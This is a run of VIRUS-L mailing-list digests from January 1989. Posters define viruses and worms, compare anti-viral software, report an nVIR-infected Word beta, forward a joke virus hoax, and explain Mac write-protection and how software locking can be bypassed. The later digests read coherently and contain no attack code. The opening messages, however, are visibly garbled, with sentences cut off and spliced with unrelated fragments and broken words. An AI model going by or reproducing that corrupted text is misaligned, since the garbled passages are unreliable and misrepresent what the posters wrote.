block viruses  do nothing for viruses
infecting other programs.  Remember, 40% or more executable files for an
IBM-PC with the ``.COM'' extension begin with a long jump (read, are
easily infected by viruses).  I can not stress enough the importance oflly the l
distribution me intact.


viruses in general:

     In his letter of Monday 12 Dec 88, Michael J. MacDonald referred to
a program that sounded clearly to be a virus as a worm.  I think that
there is quite a bit of confusion going around about these terms.

     I am not an ultimate authority on this subject, but I believe that
the following definitions are correct.

     VIRUS:  A piece of code that attaches to another rogram and replicates its,
             on to other pieces of code, or programs.

     Note that this definition does not require that the piece of code
be damaging in the classical ways, i.e., hard drive reformat.  It
requires only the two criteria of reproduction, and host requirement.

     WORM:   A piece of code that replicates itself elsewhere, not
             requiring any type of host code, i.e., a stand alone
             program.

     Note that some times a ``gang of programs'' wi``grapling hook'' program and
then transferred itself using the hook.

     Enough ravings for one night.  Thank you ave not offended too many people.f
they are not of a construcRUS-L.
- --
Stephen D. Cohen                              at![e-mail]             h
44 Center Grove Road Apt M-42                 is patient.
Randolph, NJ  07869

------------------------------

Date: Fri,  6 Jan 89 13:51:28 CST
From: [e-mail]
Subject: HARdware SECurity-L summary:  Nobody wants it

A couple of digests ago, I asked what you thought about a HARdware
SECurity list (considering the recent disk drive conversation).

I got four responses & saw one on a digest.  The vote is 5-0 against a
new list.  Reasons cited: people didn't want to sub to yet another
list, the issues are relevant to viruses, and there is already a
security list.  Enough said, send comment to me at:

- -David Richardson   uucp:...!{texbell.cs.utexas.edu, ames}!utarlg.arl.utex645u

--

It is worth noting that the federal government is in fact rather
deeply involved in the development of software standards; sometimes
originating them, more often adopting standards of the American
National Standards Institute or other responsible bodies.  Government
professionals participate on many of the committees which develop
these standards.
tandards developed with at least some government
involvement includes the American Standard Code for Information
Interchange, COBOL, FORTRAN, BASIC, PASCAL, and ADA.  The government
is also deeply involved in operating system standardization and
communication protocols.

What is significant is that the government does not force anybody to
meet any staly buy products which meet
applicable standards--and this preference has had some influence on
the marketplace.

It would be both unrealistic and undesirable to expect the govee every copy of .
There are existing laws and concepts of liability which cover these
situae seriously harmed by
carelessly marketed or prepared software products could fail to
recover (handsomely) in court.
expressed here are strictly my own, and do not
            policy of my employer.


Barry L. D. Newton
National Institute of Standards & Technology

------------------------------

Date:    Fri, 06 Jan 89 17:14 EST
From:    John BET>
Subject: Anti-virals-for-micros inquiry (PC)

     As I am one of two regular users of an IBM PC XT (with an
Inboard/386 motherboard and a 30Mb hard disk).  My employer andpossibility (rems
infecting our set-up.  We try to practice "safe computing" -- we
aren't pe, etc. -- but nonetheless
we're wondering if some sort of protection might be prudent.

     What sort of anti-viral software could/would any of you recommend
for a micro environment such as ours?  (We operate under IBM DOS 3.20,
incire necessary?  Does fairly frequent
connection to BITNET have any bearing on risk?  (If so, is there any
effective way of combatting that risk?)

     I apologize if my questionaivete, but I
figure Virus-L is the best place to seek enlightenment!  Thanks in
advance for any help.

           Box 693 / South Bend, Indiana  46624-0693

    + + + + + + + + + + + + + + + + + + + + + + + +
   +  Views subject to recantation without notice. +
   +  Ideas not guaranteed for workmanship.  Their +
   +  origin often unknown and besmployer and node IrishMVS not culpable.  +
    + + + + + + + + + + + + + + + + + + + + + + + +

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest              Monday, 9 Jan 1989           Volume 2 : Issue 7

Today's Topics:
Disk Protection (MAC)
Re: Mr. Harlan's question about anti-viral software
Leisure Suit Larry Trojan Horse

---------------------------------------------------------------------------

Date:         Mon, 09 Jan 89 10:23:09 EST
From:         SCOTT <[e-mail]>
Subject:      Disk Protection (MAC)

   There is much talk about disk protection for the IBM systems.  Does
anyone have any Information relating to the MAC system?  I know that
there is a DiskLock DA that simulates the locking of a disk via
software.  This includes the ability to lock a hard drive through
software.  Does this mean that the MAC is just as susceptible to
viruses over-riding the write protection tab or is software just
written to add the additional possibility of protecting hard drives?
                                   Scott.

------------------------------

Date: 9 Jan 89
From: J.D. Abolins <[e-mail]>
Subject: Re: Mr. Harlan's question about anti-viral software

The question of what anti-viral software is available is a common
question these days. The answer is too involved for real-time typing
here. However, I can suggest a book from COMPUTE! Publications
titled COMPUTER VIRUSES. The is, if I remember correctly, Ralph Roberts.
(The book also includes a few chapters writen by other people.) In this
book are annotated listings of anti-viral software for MS-DOS and
other types of computers.

Also, COMPUTERS & SECURITY magazine reviews such software. There are
several magazines which have articles about protective software.
<Hopefully, I have not transgressed the non-commercial aspects of
BITNET with the above.>

Before you buy protective software, consider several things so you
have a good idea of you need and you can work with.

*)How much do you want to limit your PC's functionality? Some
  anti-virus software provides good measure of protection by
  limiting what can be done on the machine. For example, the ability
  change selected files is restricted by means as simple as changing
  the file's attribute to using routines that will stop the system
  if any changes are attempted. Often such software, besides acting
  to stop most viruses, prevents users from running "non-authorized"/
  non-work-related programs on a company machine. Some people love
  this feauture, others loath it.

*) Who will be using the machine? What is the user's level of computer
expertise? This is important because some protective software,
  especially the TSR "watchdog" programs, can display prompts and
  warnings that can confuse and frighten the novice user.<The TSR
  programs run in the background, watch for "suspicious" activity,
  and warn the user of such activities.> Others are much more user-
  friendly.  Consider the user interfaces - the messages, prompts,
  etc.

*) The ideaprogram for most people is one that doesn't remind the
  the user that it is there, but comes to aid when needed. The more
a program reminds that user that it there by getting in the way of
  normal work, the more the user is going to resent the protection
  and may try to bypass it.

*) Assess your risks. Mr. Harlan brought up the question does being
  on BITNET increase the risk of viruses. Generally, no. The risk
  for "rabbit letters" and such, yes. The risk for viruses goes up
  when one is getting programs files, executable code from outside
  sources. Text files, unless they can be remotely compiled and run,
  do not carry viruses. One big element for risk assementis what are
  you protecting and how hard is it to recover it if disaster does
  occur. Another factor is degree of contact with outside systems
  via telecommunications, disks brought in, etc. The more connections
  with other systems, the greater the risk.

------------------------------

Date: Mon, 9 Jan 89 12:58 EST
From: "ROBERT M. HAMER" <[e-mail]>
Subject: Leisure Suit Larry Trojan Horse

Several weeks ago, there were a couple of postings about a trojan
horse infecting out-of-the-shrinkwrap copies of a game called Leisure
Suit Larry (in the Land of the Lounge Lizzards).  I bought that and
had not yet tried it.  I still have not yet tried it.  I would like
some sort of definite information before I try it.  Would the people
who posted the original messages either respond to the list with a bit
more detail, or directly to me ([e-mail] or
[e-mail] on the Internet) if you don't want to post much
detail to the list.  Thanks.

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest             Tuesday, 10 Jan 1989          Volume 2 : Issue 8

Today's Topics:
nVIR in UK version of MS Word 4 beta (Mac)

---------------------------------------------------------------------------

Date:     Mon,  9 Jan 89 18:33 EST
From:     JEFF WASILKO--MEMBER OF PRINTER'S DEVILS-LOCAL #47
          <[e-mail]>
Subject:  nVIR in UK version of MS Word 4 beta (Mac)

I am forwarding this from the Mac-User list in Europe concerning a
beta copy of MS Word for the Mac that is infected with the nVIR virus.
I'm not sure, but I would assume that it would not affect those of us
in the US.

I'm just reposting this, I'm not responsible :-)

- -----------------------------------Cut Here--------------------------------
Date: Mon, 9 Jan 89 19:21:24 GMT
From: [e-mail]
Subject: WORD 4 BETA 10 WARNING!!!!
Sender: EARN Macintosh Users List <[e-mail]>

I Have just received a copy of WORD 4 B10 from Text 100.
It contains the nVIR virus!
All UK developers or reviewers who receive Betas from Microsoft UK be
warned!  I7m afraid I didn't beleive what Vaccine was telling me by
crashing the System when I first tried to load the program, so I
removed all my CDEVS, INITS, etc.  ResEdit later told me what had been
going on... fortunately only ResEdit and the System & Finder files had
time to get infected!
Bit of a naughty one that eh?!
David Riddle
Wheels (UK)
King's College London

- -----------------------------------end here--------------------------------
reposted by:

Jeff Wasilko
BITNET:     jjw7384@ritvax
INTERNET:   [e-mail]
                               OR
            [e-mail]
UUCP:       {psuvax1, mcvax}!ritvax.bitnet!JJW7384

Disclaimer: Nobody ever cares what I say...

[Ed. Could somebody please try verify this information?]

------------------------------

End of VIRUS-L Digest
*********************
VIRUS-L Digest             Tuesday, 10 Jan 1989          Volume 2 : Issue 9

Today's Topics:
A Humorous? Virus Report from Security List
Re: Friday the 13th viruses
Re: Disk Protection (Mac)
On having a "false sense of security"
Security/Virii Article
Disk protection (Mac)
Mac Write Protect Is Hardware

---------------------------------------------------------------------------

Date: Tue, 10 Jan 89 08:01:13 EST
From: [e-mail] (Mark Robert Smith)
Subject: A Humorous? Virus Report from Security List

[Ed. The following forwarded message is obviously another prank, like
the modem virus.  I'm including it here because a) it was sent in by a
reader, and b) it serves as yet another perfectly good example that we
can't trust everything that we read.  I suppose the appropriate caveat
here is that we have to take *any* report of a virus until it can be
verified.]

Forwarded from the VirusBoard BBS at [phone] [sic]

Date: 11-31-88 (24:60)              Number: 32769
  To: ALL                           Refer#: NONE
From: ROBERT MORRIS III               Read: (N/A)
Subj: VIRUS ALERT                   Status: PUBLIC MESSAGE

Warning: There's a new virus on the loose that's worse than anything
I've seen before!  It gets in through the power line, riding on the
powerline 60 Hz subcarrier.  It works by changing the serial port
pinouts, and by reversing the direction one's disks spin.  Over
300,000 systems have been hit by it here in Murphy, West Dakota alone!
And that's just in the last twelve minutes.

It attacks DOS, Unix, TOPS-20, Apple II, VMS, MVS, Multics, Mac,
RSX-11, ITS, TRS-80, and VHS systems.

To prevent the spread of this dastardly worm:

1) Don't use the powerline.
2) Don't use batteries either, since there are rumors that this virus
   has invaded most major battery plants and is infecting the positive
   poles of the batteries.  (You might try hooking up just the
   negative pole.)
3) Don't upload or download files.
4) Don't store files on floppy disks or hard disks.
5) Don't read messages.  Not even this one!
6) Don't use serial ports, modems, or phone lines.
7) Don't use keyboards, screens, or printers.
8) Don't use switches, CPUs, memories, microprocessors, or mainframes.
9) Don't use electric lights, electric or gas heat or airconditioning,
   running water, writing, fire, clothing, or the wheel.

I'm sure if we are all careful to follow these 9 easy steps, this
virus can be eradicated, and the precious electronic fluids of our
computers can be kept pure.

- --RTM III

------------------------------

Date:        Tue,  10 Jan 89 16:52:10 +0200
From:        Y. Radai <[e-mail]>
Subject:     Re: Friday the 13th viruses

  Mark Smith asks for info on "virii" [viruses] that act on Friday the
13th.  Well, if you're afraid that a virus will do damage on such a
date (or any other specific date), the simplest thing you can do is
either not to use your computer on that date or else to fake the date.
If you have a clock/calendar card, however, you have to be careful,
since if your boot sector or one of your system files or one of the
files in your AUTOEXEC.BAT file is infected, by the time you get a
chance to fake the date, the actual date may already have been taken
into account by the virus.  Hence if you wish to work on that date,
fake the date *one day earlier*.

  As for detecting/removing viruses, that depends on which virus you
have.  If you have good reason to think you have the Israeli
Friday-the-13th virus, I can send you programs to eradicate it and to
prevent future infection.  (In order to tell if you have this virus,
run your most frequently executed EXE program twice.  If its size is
increased by 1808 or 3616 bytes, you can assume you've got that
virus.)

                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

------------------------------

Date:     Tue, 10 Jan 89 13:29 GMT
From:     Danny Schwendener <SEKRETARIAT@CZHETH5A>
Subject:  Re: Disk Protection (Mac)

>there is a DiskLock DA that simulates the locking of a disk via
>software.  This includes the ability to lock a hard drive through
>software.  Does this mean that the MAC is just as susceptible to
>viruses over-riding the write protection tab or is software just
>written to add the additional possibility of protecting hard drives?

The Macintosh File System allows both software and hardware device
locking. Hardware locking PHYSICALLY disables write access to the
disk. There is NO WAY for a virus to erase or write anything on a
floppy with an open protection tab.

If the "software lock enabled" flag in the Disk's boot blocks is set,
the File Manager assumes that the disks's driver contains code to
handle software locking, i.e. the write and format routines first
check another flag (the "volume locked" flag) in the boot blocks
before they perform their task. For those who don't know the
Macintosh's internals, the File Manager regroups all OS calls used by
a program to access a disk.

In a normal disk configuration, each disk has its own driver code
hidden in the disk's boot blocks. When a disk is mounted, the File
System loads the driver into memory. When a program wants to access a
disk, the File Manager handles the high-level tasks (file and
directory operations), but hands block read/write and disk format
requests to that disk's driver.

A virus could however bypass this command handling: it only needs to
have its own driver code. As most Macintosh disks on the market
currently are SCSI disks, and there are several SCSI driver sources in
the public domain, this should not be a problem.

In other words, DON'T TRUST IN SOFTWARE LOCKING AS VIRUS/WORM/TROJAN
PROTECTION. Software locking is useful to prevent accidental
overwriting of your applications and documents. It is not a long-term
protection against purposely ill-behaving programs.

Note: the mentioned DiskLock DA does not use the software locking
      procedure explained above. Instead, it intercepts the File
      Manager's calls to the driver and performs its own lock checking.

- -- Danny Schwendener
+-----------------------------------------------------------------------+
| Mail   :   Danny Schwendener, ETH Macintosh Support                   |
|            Swiss Federal Institute of Technology, CH-8092 Zuerich     |
| Bitnet :   macman@czheth5a      UUCP   :   {cernvax,mcvax}ethz!macman |
| Ean    :   [e-mail]   Voice  :   yodel three times          |
+-----------------------------------------------------------------------+

------------------------------

Date:        Tue,  10 Jan 89 15:36:14 +0200
From:        Y. Radai <[e-mail]>
Subject:     On having a "false sense of security"

  In V1 #59c and V2 #5 Dimitri Vulis posted three articles which, on
the whole, I consider excellent.  However, there was one paragraph
which seemed to me a bit illogical, and another which contained what I
consider to be a significant inaccuracy.  The first was:

>Both of these programs [TRAPDISK & HDSENTRY] (and others like them) are
>_extremely_dangerous_. They give the user a false sense of security,
>while it fact they provide _very_ _little_protection. They offer some
>protection against amateurish benign programs, like Brain, that are
>not really trying to destroy any data. They would not work against
>something like ARC 5.13, which called BIOS through CALL, not via INT,
>and you are more likely to run something like it, because you believe
>that you're protected, and use less discretion in deciding what to run
>on your machine.

  Were it not for the fact that I have seen this sort of opinion
expressed several times before, I probably wouldn't have felt the need
to react to it in print now.  But the effect seems to be cumulative
and now I feel I've seen this "false sense of security" argument once
too many.  Suppose someone were to argue as follows: "There's no point
in locking the doors of your house or car, since a sufficiently clever
burglar can break into either of them.  Locking them just gives you a
false sense of security ...."
  What would you think of such an argument?  I'm willing to bet that
Dimitri and others who have expressed the above opinion concerning
computer software do lock their houses and cars.  Why, then, do they
preach differently in the case of anti-viral software?
  I don't agree that such programs provide very little protection.  I
think that the viruses (and worms and Trojans) against which they do
afford protection (they may be "amateurish" but they're not
necessarily benign!) are still in the majority (at least among those
viruses which have become widespread).  And I think that it is well
worth protecting oneself against them, even if more sophisticated
viruses exist as well and will become more prevalent in the future.
Now I am well aware that no software can give complete security
against all conceivable viruses.  A month ago, I posted an appraisal
of FSP, in which I mentioned several shortcomings which I found in it,
including ways of circumventing it.  Yet *I continue to use it*
because there exist *many* infections which it *can* detect and
prevent.  I also use PROTECT (which is roughly like the two programs
mentioned at the beginning), and a good checksum pro- gram (to detect
all virus propagation).  (I'm considering using hard- ware protection
also.)  I know that none of these can prevent all con- ceivable
viruses under all conditions.  But I still think I'm safer using any
given one of them than not using it.
  The only argument which Dimitri gives for his statement is that one
might be lulled into using less discretion in deciding what to run on
his machine.  Now I would understand this argument in a situation
where anti-viral software is sold to naive customers under the false
pretense that it will prevent all types of infection.  But are we so
naive?  To give the impression, as Dimitri does, that it is worse to
use such software than not to use it, is certainly not correct in
general.  He doesn't explain just what his notion of discretion
consists of, but whatever it may be, why can't we use *both*
anti-viral software *and* discretion ....??

  The other point:  In V2 #5, Dimitri wrote:

>       ... it reads in the beginning of the directory and checks that
>the first 2 files are IBMBIO.COM and IBMDOS.COM (for PC-DOS) or IO.SYS
>and MSDOS.SYS (for generic MS-DOS). ....
>If these files are there, it reads (using INT 13) the first one (DOS
>low-level routines, _not_ BIOS---BIOS is in ROM!) into memory, usually
>at 70:0, and jumps there. IBMBIO.COM then loads the rest of DOS.

  The clause "it reads ... the first one [i.e. IBMBIO.COM or IO.SYS]
into memory" is not quite accurate.  It seems that what actually
happens is that the disk bootstrap routine loads a certain number of
sectors, starting from the beginning of the data area, into RAM, under
the *assumption* that these contain IBMBIO.COM/IO.SYS.  Depending on
the implementation, it may also do the same with the following sectors
on the assumption that they contain IBMDOS.COM/MSDOS.SYS, or else the
former program may load the latter.  But if the disk has been tampered
with, it is not necessarily these two files which will get loaded.

                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

------------------------------

Date: Tue, 10 Jan 89 13:26 EST
From: "ROBERT M. HAMER" <[e-mail]>
Subject: Security/Virii Article

In the January 9 isue of InfoWorld, on page S1, continuing for 5 or 6
pages, there are several articles on computer security, viruses, worms,
etc, including a discussion of the now-famous Internet worm.

------------------------------

Date: Tue, 10 Jan 89 10:56 MST
From: "Richard Johnson  <[e-mail]>
Subject: Disk protection (Mac)

>    There is much talk about disk protection for the IBM systems.  Does
> anyone have any Information relating to the MAC system? ...
>    Does this mean that the MAC is just as susceptible to viruses
> over-riding the write protection tab or is software just written to
> add the additional possibility of protecting hard drives?
>                                    Scott.

I assume that by disk protection you mean something along the lines of
write protection.  400K and 800K Mac floppy drives from Apple use a
pin that tries to fit through the write protect hole on 3.5" disks (at
least my drives do).  I don't have the drive schematics, but the
presence of that pin says to me that write protection on a 3.5" floppy
is done in hardware.

Hard drives are another matter.  I know of no hard drive that can be
write-protected via a hardware switch like a floppy drive write
protect.  All hard drive write protection I've seen for Macs is done
in software.  What can be done in software can be gotten around later.
Of course, with the healthy number of different SCSI drivers out
there, a virus that knows how to talk to all of them will be larger
than a virus that just uses disk or file manager calls.

Richard <[e-mail]>

*    Disclaimer: Since I'm self-employed, these    *
* opinions aren't necessarily those of my employer *

------------------------------

Date:         Tue, 10 Jan 89 15:50:20 EST
From:         Joe McMahon <[e-mail]>
Subject:      Mac Write Protect Is Hardware

The title says it all. Mac write protect for floppies is hardware and
cannot be subverted by software according to Apple.  Hard disks are
another matter.

Why don't Mac manufacturers add on a "Write Protect" switch?  Seems
simple enough.

- --- Joe M.

------------------------------

End of VIRUS-L Digest
*********************